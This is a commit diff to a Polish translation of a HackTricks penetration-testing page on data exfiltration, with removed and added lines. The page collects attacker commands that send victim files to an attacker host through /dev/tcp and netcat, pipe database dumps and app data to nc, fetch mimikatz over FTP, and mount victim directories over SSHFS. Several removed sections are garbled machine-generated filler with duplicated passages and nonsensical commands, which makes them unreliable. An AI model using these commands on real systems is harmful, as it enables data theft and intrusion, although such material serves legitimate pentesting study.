mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene
This commit is contained in:
parent
ada6f56e1f
commit
6acff3bce0
18 changed files with 607 additions and 2234 deletions
|
@ -1,28 +1,20 @@
|
|||
# Eksfiltracja
|
||||
# Wyciekanie danych
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby szybko je naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Powszechnie zezwolone domeny do eksfiltracji informacji
|
||||
## Powszechnie zezwolone domeny do wyciekania informacji
|
||||
|
||||
Sprawdź [https://lots-project.com/](https://lots-project.com/), aby znaleźć powszechnie zezwolone domeny, które mogą być nadużywane
|
||||
|
||||
|
@ -80,20 +72,6 @@ curl -X POST http://HOST/upload -H -F 'files=@file.txt'
|
|||
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
|
||||
```
|
||||
### **Serwer HTTPS**
|
||||
|
||||
An HTTPS server is a secure version of the HTTP protocol that uses encryption to protect the data transmitted between the server and the client. It is commonly used for secure communication over the internet, especially for sensitive information such as passwords, credit card numbers, and personal data.
|
||||
|
||||
To exfiltrate data through an HTTPS server, you can use various techniques such as:
|
||||
|
||||
- **Data exfiltration via GET requests**: In this method, the data is appended to the URL as query parameters and sent to the server using a GET request. The server can then extract the data from the URL and store it.
|
||||
|
||||
- **Data exfiltration via POST requests**: In this method, the data is sent in the body of the HTTP request using a POST request. The server can extract the data from the request body and store it.
|
||||
|
||||
- **Data exfiltration via DNS tunneling**: This technique involves encoding the data into DNS queries or responses and sending them to a DNS server. The server can then extract the data from the DNS queries or responses and store it.
|
||||
|
||||
- **Data exfiltration via covert channels**: Covert channels are hidden communication channels that can be used to exfiltrate data. This can include techniques such as using steganography to hide data within images or using encryption to hide data within seemingly innocent traffic.
|
||||
|
||||
When exfiltrating data through an HTTPS server, it is important to consider the security measures in place, such as SSL/TLS encryption, server-side validation, and access controls. Additionally, it is crucial to ensure that the exfiltrated data is properly encrypted to protect it from unauthorized access.
|
||||
```python
|
||||
# from https://gist.github.com/dergachev/7028596
|
||||
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
|
||||
|
@ -137,186 +115,16 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
|||
## FTP
|
||||
|
||||
### Serwer FTP (python)
|
||||
|
||||
```python
|
||||
import socket
|
||||
import os
|
||||
|
||||
def send_file(file_path, host, port):
|
||||
# Utwórz gniazdo
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
# Połącz się z serwerem FTP
|
||||
s.connect((host, port))
|
||||
|
||||
# Otwórz plik do odczytu binarnego
|
||||
with open(file_path, 'rb') as file:
|
||||
# Pobierz nazwę pliku
|
||||
file_name = os.path.basename(file_path)
|
||||
|
||||
# Wyślij nazwę pliku do serwera
|
||||
s.send(file_name.encode())
|
||||
|
||||
# Odczytaj dane z pliku i wyślij je do serwera
|
||||
data = file.read(1024)
|
||||
while data:
|
||||
s.send(data)
|
||||
data = file.read(1024)
|
||||
|
||||
# Zamknij połączenie
|
||||
s.close()
|
||||
|
||||
# Przykładowe użycie
|
||||
send_file('/path/to/file.txt', 'ftp.example.com', 21)
|
||||
```
|
||||
|
||||
Ten kod przedstawia prosty serwer FTP napisany w języku Python.
|
||||
|
||||
```python
|
||||
import socket
|
||||
import os
|
||||
|
||||
def send_file(file_path, host, port):
|
||||
# Create a socket
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
# Connect to the FTP server
|
||||
s.connect((host, port))
|
||||
|
||||
# Open the file for binary reading
|
||||
with open(file_path, 'rb') as file:
|
||||
# Get the file name
|
||||
file_name = os.path.basename(file_path)
|
||||
|
||||
# Send the file name to the server
|
||||
s.send(file_name.encode())
|
||||
|
||||
# Read data from the file and send it to the server
|
||||
data = file.read(1024)
|
||||
while data:
|
||||
s.send(data)
|
||||
data = file.read(1024)
|
||||
|
||||
# Close the connection
|
||||
s.close()
|
||||
|
||||
# Example usage
|
||||
send_file('/path/to/file.txt', 'ftp.example.com', 21)
|
||||
```
|
||||
|
||||
This code presents a simple FTP server written in Python.
|
||||
```bash
|
||||
pip3 install pyftpdlib
|
||||
python3 -m pyftpdlib -p 21
|
||||
```
|
||||
### Serwer FTP (NodeJS)
|
||||
|
||||
#### Description
|
||||
|
||||
An FTP (File Transfer Protocol) server is a software application that allows users to transfer files between their local computer and a remote server. In this case, we will focus on a NodeJS-based FTP server.
|
||||
|
||||
#### Exfiltration Method
|
||||
|
||||
To exfiltrate data from an FTP server, you can use the following steps:
|
||||
|
||||
1. Identify the target FTP server and gather information about its configuration, such as the IP address, port number, and authentication method.
|
||||
|
||||
2. Use a client application, such as FileZilla or the command-line FTP client, to connect to the FTP server using the gathered information.
|
||||
|
||||
3. Authenticate yourself using valid credentials, if required.
|
||||
|
||||
4. Navigate to the directory where the desired files are located.
|
||||
|
||||
5. Use the appropriate commands to download the files from the FTP server to your local machine. For example, you can use the `get` command in the command-line FTP client or the download option in a graphical client like FileZilla.
|
||||
|
||||
6. Monitor the transfer progress and ensure that all desired files are successfully downloaded.
|
||||
|
||||
7. Once the files are downloaded, you can analyze and extract any relevant information from them.
|
||||
|
||||
#### Mitigation
|
||||
|
||||
To mitigate the risk of data exfiltration through an FTP server, consider the following measures:
|
||||
|
||||
- Implement strong access controls and authentication mechanisms to prevent unauthorized access to the FTP server.
|
||||
|
||||
- Regularly update and patch the FTP server software to address any known vulnerabilities.
|
||||
|
||||
- Monitor and log FTP server activities to detect any suspicious or unauthorized file transfers.
|
||||
|
||||
- Encrypt the data transferred between the FTP server and clients using secure protocols such as FTPS (FTP over SSL/TLS) or SFTP (SSH File Transfer Protocol).
|
||||
|
||||
- Limit the permissions and access rights of FTP server users to only necessary files and directories.
|
||||
|
||||
- Consider using alternative file transfer methods, such as secure cloud storage or encrypted file sharing platforms, that provide better security and control over data transfers.
|
||||
```
|
||||
sudo npm install -g ftp-srv --save
|
||||
ftp-srv ftp://0.0.0.0:9876 --root /tmp
|
||||
```
|
||||
### Serwer FTP (pure-ftp)
|
||||
|
||||
#### Exfiltration
|
||||
|
||||
Exfiltracja
|
||||
|
||||
##### FTP Server (pure-ftp)
|
||||
|
||||
Serwer FTP (pure-ftp)
|
||||
|
||||
###### Description
|
||||
|
||||
Opis
|
||||
|
||||
Pure-FTP is a popular FTP server that provides a secure and efficient way to transfer files over a network. It supports various authentication methods and encryption protocols, making it a reliable choice for file transfer operations.
|
||||
|
||||
Pure-FTP jest popularnym serwerem FTP, który zapewnia bezpieczny i wydajny sposób transferu plików w sieci. Obsługuje różne metody uwierzytelniania i protokoły szyfrowania, co czyni go niezawodnym wyborem do operacji transferu plików.
|
||||
|
||||
###### Exfiltration Techniques
|
||||
|
||||
Techniki exfiltracji
|
||||
|
||||
1. **FTP Upload**: The attacker can upload sensitive files to the FTP server and then retrieve them from a remote location.
|
||||
|
||||
**Przesyłanie FTP**: Atakujący może przesłać poufne pliki na serwer FTP, a następnie pobrać je z odległego miejsca.
|
||||
|
||||
2. **FTP Download**: The attacker can download files from the FTP server to their local machine.
|
||||
|
||||
**Pobieranie FTP**: Atakujący może pobrać pliki z serwera FTP na swoje lokalne urządzenie.
|
||||
|
||||
3. **FTP Tunneling**: The attacker can establish an FTP tunnel to bypass network restrictions and exfiltrate data.
|
||||
|
||||
**Tunele FTP**: Atakujący może ustanowić tunel FTP, aby ominąć ograniczenia sieciowe i wydostać dane.
|
||||
|
||||
###### Countermeasures
|
||||
|
||||
Przeciwdziałanie
|
||||
|
||||
To prevent unauthorized exfiltration of data through an FTP server, the following countermeasures can be implemented:
|
||||
|
||||
Aby zapobiec nieautoryzowanej exfiltracji danych za pośrednictwem serwera FTP, można zastosować następujące środki zaradcze:
|
||||
|
||||
1. **Access Control**: Implement strict access controls to restrict FTP server usage to authorized users only.
|
||||
|
||||
**Kontrola dostępu**: Wprowadź rygorystyczną kontrolę dostępu, aby ograniczyć korzystanie z serwera FTP tylko do autoryzowanych użytkowników.
|
||||
|
||||
2. **Encryption**: Enable encryption protocols such as SSL/TLS to secure data transmission between the FTP server and clients.
|
||||
|
||||
**Szyfrowanie**: Włącz protokoły szyfrowania, takie jak SSL/TLS, aby zabezpieczyć transmisję danych między serwerem FTP a klientami.
|
||||
|
||||
3. **Monitoring**: Implement monitoring mechanisms to detect any suspicious activities or unauthorized access attempts.
|
||||
|
||||
**Monitorowanie**: Wprowadź mechanizmy monitorowania w celu wykrywania podejrzanej aktywności lub prób nieautoryzowanego dostępu.
|
||||
|
||||
4. **Regular Updates**: Keep the FTP server software up to date with the latest security patches and updates.
|
||||
|
||||
**Regularne aktualizacje**: Aktualizuj oprogramowanie serwera FTP na bieżąco, instalując najnowsze łatki i aktualizacje zabezpieczeń.
|
||||
|
||||
5. **Strong Authentication**: Enforce strong authentication mechanisms, such as multi-factor authentication, to prevent unauthorized access.
|
||||
|
||||
**Silna uwierzytelnianie**: Wprowadź silne mechanizmy uwierzytelniania, takie jak uwierzytelnianie wieloskładnikowe, aby zapobiec nieautoryzowanemu dostępowi.
|
||||
|
||||
6. **Network Segmentation**: Implement network segmentation to isolate the FTP server from critical systems and sensitive data.
|
||||
|
||||
**Segmentacja sieci**: Wprowadź segmentację sieci, aby izolować serwer FTP od systemów krytycznych i poufnych danych.
|
||||
```bash
|
||||
apt-get update && apt-get install pure-ftp
|
||||
```
|
||||
|
@ -334,64 +142,7 @@ mkdir -p /ftphome
|
|||
chown -R ftpuser:ftpgroup /ftphome/
|
||||
/etc/init.d/pure-ftpd restart
|
||||
```
|
||||
### **Klient Windows**
|
||||
|
||||
#### **Exfiltration Techniques**
|
||||
|
||||
##### **1. File Transfer Protocol (FTP)**
|
||||
|
||||
FTP is a standard network protocol used to transfer files from one host to another over a TCP-based network, such as the internet. It can be used to exfiltrate data by uploading files from the compromised Windows client to an external FTP server.
|
||||
|
||||
##### **2. Hypertext Transfer Protocol (HTTP)**
|
||||
|
||||
HTTP is a protocol used for transmitting hypertext over the internet. It can be used to exfiltrate data by sending HTTP requests containing the data from the compromised Windows client to a remote server.
|
||||
|
||||
##### **3. Domain Name System (DNS)**
|
||||
|
||||
DNS is a hierarchical decentralized naming system used to translate domain names to IP addresses. It can be used to exfiltrate data by encoding the data into DNS queries and sending them from the compromised Windows client to a DNS server controlled by the attacker.
|
||||
|
||||
##### **4. Email**
|
||||
|
||||
Email can be used to exfiltrate data by sending emails containing the data from the compromised Windows client to a designated email address controlled by the attacker.
|
||||
|
||||
##### **5. Cloud Storage Services**
|
||||
|
||||
Cloud storage services, such as Dropbox or Google Drive, can be used to exfiltrate data by uploading files from the compromised Windows client to the cloud storage account controlled by the attacker.
|
||||
|
||||
##### **6. Remote Access Tools (RATs)**
|
||||
|
||||
RATs are software tools that allow remote control and administration of a computer. They can be used to exfiltrate data by establishing a connection between the compromised Windows client and a remote server controlled by the attacker.
|
||||
|
||||
##### **7. Steganography**
|
||||
|
||||
Steganography is the practice of concealing data within other data, such as hiding a message within an image or audio file. It can be used to exfiltrate data by embedding the data into a file and transferring it from the compromised Windows client to a remote server.
|
||||
|
||||
##### **8. USB Devices**
|
||||
|
||||
USB devices can be used to exfiltrate data by copying files from the compromised Windows client onto the USB device, which can then be physically transported to a location controlled by the attacker.
|
||||
|
||||
##### **9. Printers and Scanners**
|
||||
|
||||
Printers and scanners can be used to exfiltrate data by printing or scanning documents containing the data from the compromised Windows client, which can then be physically transported to a location controlled by the attacker.
|
||||
|
||||
##### **10. Bluetooth**
|
||||
|
||||
Bluetooth can be used to exfiltrate data by establishing a connection between the compromised Windows client and a Bluetooth-enabled device controlled by the attacker, allowing the data to be transferred wirelessly.
|
||||
|
||||
#### **Countermeasures**
|
||||
|
||||
To prevent exfiltration of data from a compromised Windows client, the following countermeasures can be implemented:
|
||||
|
||||
1. Implement strong network security measures, such as firewalls and intrusion detection systems, to monitor and block suspicious network traffic.
|
||||
2. Regularly update and patch the Windows operating system and installed software to fix any known vulnerabilities.
|
||||
3. Use strong and unique passwords for all user accounts on the Windows client to prevent unauthorized access.
|
||||
4. Implement data loss prevention (DLP) solutions to monitor and control the flow of sensitive data within the network.
|
||||
5. Educate users about the risks of data exfiltration and the importance of following security best practices, such as not opening suspicious email attachments or clicking on unknown links.
|
||||
6. Monitor and analyze network traffic for any signs of data exfiltration, such as unusual file transfers or abnormal DNS queries.
|
||||
7. Implement endpoint security solutions, such as antivirus software and host-based intrusion detection systems, to detect and prevent unauthorized access to the Windows client.
|
||||
8. Disable unnecessary services and protocols on the Windows client to reduce the attack surface and minimize the risk of data exfiltration.
|
||||
9. Regularly backup important data and store it securely to prevent data loss in case of a successful exfiltration attempt.
|
||||
10. Conduct regular security assessments and penetration testing to identify and address any vulnerabilities in the Windows client's security posture.
|
||||
### **Klient** systemu **Windows**
|
||||
```bash
|
||||
#Work well with python. With pure-ftp use fusr:ftp
|
||||
echo open 10.11.0.41 21 > ftp.txt
|
||||
|
@ -402,14 +153,6 @@ echo GET mimikatz.exe >> ftp.txt
|
|||
echo bye >> ftp.txt
|
||||
ftp -n -v -s:ftp.txt
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby móc je szybko naprawić. Intruder śledzi twoją powierzchnię ataku, przeprowadza proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## SMB
|
||||
|
||||
Kali jako serwer
|
||||
|
@ -419,7 +162,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
|
|||
#For new Win10 versions
|
||||
impacket-smbserver -smb2support -user test -password test test `pwd`
|
||||
```
|
||||
Lub utwórz udział smb **używając samba**:
|
||||
Stwórz udział smb **za pomocą samba**:
|
||||
```bash
|
||||
apt-get install samba
|
||||
mkdir /tmp/smb
|
||||
|
@ -434,46 +177,7 @@ guest ok = Yes
|
|||
#Start samba
|
||||
service smbd restart
|
||||
```
|
||||
# Windows
|
||||
|
||||
## Exfiltration
|
||||
|
||||
Exfiltration is the process of unauthorized data transfer from a target system to an external location. In the context of hacking, exfiltration is often used to steal sensitive information or to maintain persistence within a compromised network.
|
||||
|
||||
### Techniques
|
||||
|
||||
#### 1. File Transfer Protocol (FTP)
|
||||
|
||||
FTP is a standard network protocol used for transferring files between a client and a server on a computer network. Attackers can use FTP to exfiltrate data by connecting to an FTP server and uploading the stolen files.
|
||||
|
||||
#### 2. Hypertext Transfer Protocol (HTTP)
|
||||
|
||||
HTTP is the protocol used for transmitting hypertext over the internet. Attackers can leverage HTTP to exfiltrate data by sending HTTP requests containing the stolen information to a remote server.
|
||||
|
||||
#### 3. Domain Name System (DNS)
|
||||
|
||||
DNS is a hierarchical decentralized naming system for computers, services, or other resources connected to the internet. Attackers can abuse DNS to exfiltrate data by encoding the stolen information into DNS queries or responses.
|
||||
|
||||
#### 4. Secure Shell (SSH)
|
||||
|
||||
SSH is a cryptographic network protocol used for secure remote login and file transfer. Attackers can utilize SSH to exfiltrate data by establishing a connection to a remote server and transferring the stolen files.
|
||||
|
||||
#### 5. Cloud Storage Services
|
||||
|
||||
Cloud storage services, such as Dropbox or Google Drive, can be exploited by attackers to exfiltrate data. By uploading the stolen files to a cloud storage account, the attacker can access the data from any location.
|
||||
|
||||
### Countermeasures
|
||||
|
||||
To mitigate the risk of exfiltration, it is important to implement the following countermeasures:
|
||||
|
||||
- Implement strong access controls and authentication mechanisms to prevent unauthorized access to sensitive data.
|
||||
- Monitor network traffic for any suspicious or abnormal data transfers.
|
||||
- Encrypt sensitive data to protect it from being intercepted during exfiltration attempts.
|
||||
- Regularly update and patch software to address any known vulnerabilities that could be exploited for exfiltration.
|
||||
- Implement intrusion detection and prevention systems to detect and block exfiltration attempts.
|
||||
- Educate employees about the risks of exfiltration and the importance of following security best practices.
|
||||
|
||||
By implementing these countermeasures, organizations can significantly reduce the risk of data exfiltration and protect their sensitive information.
|
||||
Windows to system operacyjny stworzony przez firmę Microsoft. Może być podatny na ataki hakerskie, dlatego ważne jest regularne aktualizowanie systemu oraz stosowanie zabezpieczeń, takich jak firewall i antywirus.
|
||||
```bash
|
||||
CMD-Wind> \\10.10.14.14\path\to\exe
|
||||
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
||||
|
@ -489,7 +193,7 @@ scp <username>@<Attacker_IP>:<directory>/<filename>
|
|||
```
|
||||
## SSHFS
|
||||
|
||||
Jeśli ofiara ma SSH, atakujący może zamontować katalog z ofiary na swoim komputerze.
|
||||
Jeśli ofiara ma SSH, atakujący może zamontować katalog ofiary do atakującego.
|
||||
```bash
|
||||
sudo apt-get install sshfs
|
||||
sudo mkdir /mnt/sshfs
|
||||
|
@ -497,149 +201,19 @@ sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP addre
|
|||
```
|
||||
## NC
|
||||
|
||||
NC (Netcat) jest potężnym narzędziem do przesyłania danych przez sieć. Może być używany do exfiltracji danych z celu lub do przesyłania danych do celu. Poniżej przedstawiono kilka przykładów użycia NC w celu exfiltracji danych:
|
||||
|
||||
### Exfiltracja pliku
|
||||
|
||||
Aby exfiltrować plik za pomocą NC, możemy użyć następującej komendy na maszynie docelowej:
|
||||
|
||||
```
|
||||
nc -w 3 <adres_ip> <port> < plik_do_exfiltracji
|
||||
```
|
||||
|
||||
### Exfiltracja danych z pliku
|
||||
|
||||
Aby exfiltrować konkretne dane z pliku za pomocą NC, możemy użyć potoku w połączeniu z NC. Na przykład, aby exfiltrować tylko hasła z pliku `/etc/passwd`, możemy użyć następującej komendy:
|
||||
|
||||
```
|
||||
cat /etc/passwd | grep "password" | nc -w 3 <adres_ip> <port>
|
||||
```
|
||||
|
||||
### Exfiltracja danych z urządzenia
|
||||
|
||||
NC może być również używany do exfiltracji danych z urządzenia. Na przykład, jeśli chcemy exfiltrować dane z urządzenia mobilnego, możemy użyć następującej komendy:
|
||||
|
||||
```
|
||||
adb shell "cat /data/data/com.example.app/databases/database.db" | nc -w 3 <adres_ip> <port>
|
||||
```
|
||||
|
||||
### Exfiltracja danych z bazy danych
|
||||
|
||||
NC może być również używany do exfiltracji danych z bazy danych. Na przykład, jeśli chcemy exfiltrować dane z bazy danych MySQL, możemy użyć następującej komendy:
|
||||
|
||||
```
|
||||
mysqldump -u <użytkownik> -p<hasło> <baza_danych> | nc -w 3 <adres_ip> <port>
|
||||
```
|
||||
|
||||
### Exfiltracja danych z serwera FTP
|
||||
|
||||
NC może być również używany do exfiltracji danych z serwera FTP. Na przykład, jeśli chcemy exfiltrować plik `important_file.txt` z serwera FTP, możemy użyć następującej komendy:
|
||||
|
||||
```
|
||||
nc -w 3 <adres_ip> <port> < important_file.txt
|
||||
```
|
||||
|
||||
### Exfiltracja danych z serwera HTTP
|
||||
|
||||
NC może być również używany do exfiltracji danych z serwera HTTP. Na przykład, jeśli chcemy exfiltrować zawartość strony internetowej, możemy użyć następującej komendy:
|
||||
|
||||
```
|
||||
GET / HTTP/1.1 | nc -w 3 <adres_ip> <port>
|
||||
```
|
||||
|
||||
### Exfiltracja danych z serwera SMTP
|
||||
|
||||
NC może być również używany do exfiltracji danych z serwera SMTP. Na przykład, jeśli chcemy exfiltrować wiadomość e-mail, możemy użyć następującej komendy:
|
||||
|
||||
```
|
||||
EHLO example.com | MAIL FROM: <nadawca> | RCPT TO: <odbiorca> | DATA | nc -w 3 <adres_ip> <port>
|
||||
```
|
||||
|
||||
### Exfiltracja danych z serwera DNS
|
||||
|
||||
NC może być również używany do exfiltracji danych z serwera DNS. Na przykład, jeśli chcemy exfiltrować rekordy DNS, możemy użyć następującej komendy:
|
||||
|
||||
```
|
||||
nc -w 3 <adres_ip> <port> <<< "zone example.com"
|
||||
```
|
||||
|
||||
### Exfiltracja danych z serwera LDAP
|
||||
|
||||
NC może być również używany do exfiltracji danych z serwera LDAP. Na przykład, jeśli chcemy exfiltrować rekordy LDAP, możemy użyć następującej komendy:
|
||||
|
||||
```
|
||||
nc -w 3 <adres_ip> <port> <<< "search base=<baza_danych> filter=(objectClass=*)"
|
||||
```
|
||||
|
||||
### Exfiltracja danych z serwera SNMP
|
||||
|
||||
NC może być również używany do exfiltracji danych z serwera SNMP. Na przykład, jeśli chcemy exfiltrować informacje o urządzeniu SNMP, możemy użyć następującej komendy:
|
||||
|
||||
```
|
||||
nc -w 3 <adres_ip> <port> <<< "get <OID>"
|
||||
```
|
||||
|
||||
### Exfiltracja danych z serwera NTP
|
||||
|
||||
NC może być również używany do exfiltracji danych z serwera NTP. Na przykład, jeśli chcemy exfiltrować informacje o serwerze NTP, możemy użyć następującej komendy:
|
||||
|
||||
```
|
||||
nc -w 3 <adres_ip> <port> <<< "monlist"
|
||||
```
|
||||
|
||||
### Exfiltracja danych z serwera SNMP
|
||||
|
||||
NC może być również używany do exfiltracji danych z serwera SNMP. Na przykład, jeśli chcemy exfiltrować informacje o urządzeniu SNMP, możemy użyć następującej komendy:
|
||||
|
||||
```
|
||||
nc -w 3 <adres_ip> <port> <<< "get <OID>"
|
||||
```
|
||||
|
||||
### Exfiltracja danych z serwera NTP
|
||||
|
||||
NC może być również używany do exfiltracji danych z serwera NTP. Na przykład, jeśli chcemy exfiltrować informacje o serwerze NTP, możemy użyć następującej komendy:
|
||||
|
||||
```
|
||||
nc -w 3 <adres_ip> <port> <<< "monlist"
|
||||
```
|
||||
NC (Netcat) jest potężnym narzędziem do tworzenia połączeń sieciowych wiersza poleceń. Może być używany do przesyłania danych z jednego komputera na drugi poprzez porty TCP lub UDP. Może być również używany do nasłuchiwania portów na maszynie zdalnej, co czyni go przydatnym narzędziem do eksfiltracji danych. Aby użyć NC do przesyłania plików, możesz połączyć się z maszyną zdalną i przesłać plik za pomocą polecenia cat.
|
||||
```bash
|
||||
nc -lvnp 4444 > new_file
|
||||
nc -vn <IP> 4444 < exfil_file
|
||||
```
|
||||
To download a file from the victim's machine using the `/dev/tcp` method, you can use the following command:
|
||||
## /dev/tcp
|
||||
|
||||
```bash
|
||||
cat <file> > /dev/tcp/<attacker_ip>/<attacker_port>
|
||||
```
|
||||
|
||||
Replace `<file>` with the path of the file you want to download, `<attacker_ip>` with your IP address, and `<attacker_port>` with the port you want to use for the connection.
|
||||
|
||||
For example, to download a file named `important.txt` to your machine with the IP address `192.168.0.100` and using port `1234`, you would use the following command:
|
||||
|
||||
```bash
|
||||
cat important.txt > /dev/tcp/192.168.0.100/1234
|
||||
```
|
||||
|
||||
This command will send the contents of the file to the specified IP address and port, allowing you to download it on your machine.
|
||||
### Pobierz plik z ofiary
|
||||
```bash
|
||||
nc -lvnp 80 > file #Inside attacker
|
||||
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
||||
```
|
||||
### Prześlij plik do ofiary
|
||||
|
||||
Aby przesłać plik do ofiary, możesz skorzystać z różnych metod. Poniżej przedstawiam kilka popularnych sposobów:
|
||||
|
||||
1. **Bezpośrednie przesłanie**: Jeśli masz dostęp do systemu ofiary, możesz skorzystać z polecenia `scp` (Secure Copy) lub `sftp` (Secure File Transfer Protocol), aby przesłać plik bezpośrednio na jej maszynę. Na przykład, jeśli chcesz przesłać plik o nazwie `file.txt` na adres IP `192.168.0.100`, możesz użyć polecenia:
|
||||
```
|
||||
scp file.txt user@192.168.0.100:/path/to/destination
|
||||
```
|
||||
Upewnij się, że masz odpowiednie uprawnienia do przesyłania plików na maszynę ofiary.
|
||||
|
||||
2. **Wykorzystanie usług chmurowych**: Jeśli nie masz bezpośredniego dostępu do systemu ofiary, możesz skorzystać z usług chmurowych, takich jak Dropbox, Google Drive lub OneDrive. Prześlij plik na swoje konto w wybranej usłudze, a następnie udostępnij go ofierze, udostępniając jej odpowiedni link.
|
||||
|
||||
3. **Wykorzystanie serwera pośredniczącego**: Możesz również skorzystać z serwera pośredniczącego, który działa jako most pomiędzy twoim systemem a systemem ofiary. Możesz skonfigurować serwer pośredniczący, na przykład przy użyciu narzędzia `ngrok`, aby przekierować ruch sieciowy z twojego systemu na system ofiary. Następnie możesz przesłać plik na serwer pośredniczący i udostępnić go ofierze, udostępniając jej odpowiedni link.
|
||||
|
||||
Pamiętaj, że przesyłanie plików do ofiary bez jej zgody jest nielegalne i narusza prywatność. Upewnij się, że działasz zgodnie z obowiązującymi przepisami i zawsze respektuj prywatność innych osób.
|
||||
```bash
|
||||
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
||||
# Inside victim
|
||||
|
@ -674,7 +248,7 @@ sudo python -m smtpd -n -c DebuggingServer :25
|
|||
```
|
||||
## TFTP
|
||||
|
||||
Domyślnie w systemach XP i 2003 (w innych systemach musi być jawnie dodany podczas instalacji)
|
||||
Domyślnie w systemach XP i 2003 (w innych systemach trzeba ją jawnie dodać podczas instalacji)
|
||||
|
||||
W Kali, **uruchom serwer TFTP**:
|
||||
```bash
|
||||
|
@ -684,106 +258,23 @@ atftpd --daemon --port 69 /tftp
|
|||
cp /path/tp/nc.exe /tftp
|
||||
```
|
||||
**Serwer TFTP w Pythonie:**
|
||||
|
||||
```python
|
||||
import socket
|
||||
import struct
|
||||
|
||||
def tftp_server():
|
||||
# Create a UDP socket
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock.bind(('0.0.0.0', 69))
|
||||
|
||||
while True:
|
||||
data, addr = sock.recvfrom(516)
|
||||
opcode = struct.unpack('!H', data[:2])[0]
|
||||
|
||||
if opcode == 1:
|
||||
# Read request
|
||||
filename = data[2:data.index(b'\x00', 2)].decode('utf-8')
|
||||
mode = data[data.index(b'\x00', 2) + 1:data.index(b'\x00', data.index(b'\x00', 2) + 1)].decode('utf-8')
|
||||
|
||||
# Process the read request and send the file
|
||||
# ...
|
||||
|
||||
elif opcode == 2:
|
||||
# Write request
|
||||
filename = data[2:data.index(b'\x00', 2)].decode('utf-8')
|
||||
mode = data[data.index(b'\x00', 2) + 1:data.index(b'\x00', data.index(b'\x00', 2) + 1)].decode('utf-8')
|
||||
|
||||
# Process the write request and receive the file
|
||||
# ...
|
||||
|
||||
else:
|
||||
# Invalid opcode
|
||||
# ...
|
||||
|
||||
tftp_server()
|
||||
```
|
||||
|
||||
This code snippet shows how to create a TFTP server in Python. The server listens for incoming UDP packets on port 69. When a packet is received, the opcode is extracted from the packet header. If the opcode is 1, it means a read request has been received, and the server can process the request and send the requested file. If the opcode is 2, it means a write request has been received, and the server can process the request and receive the file. Any other opcode is considered invalid and can be handled accordingly.
|
||||
```bash
|
||||
pip install ptftpd
|
||||
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
||||
```
|
||||
W **ofiarze**, połącz się z serwerem Kali:
|
||||
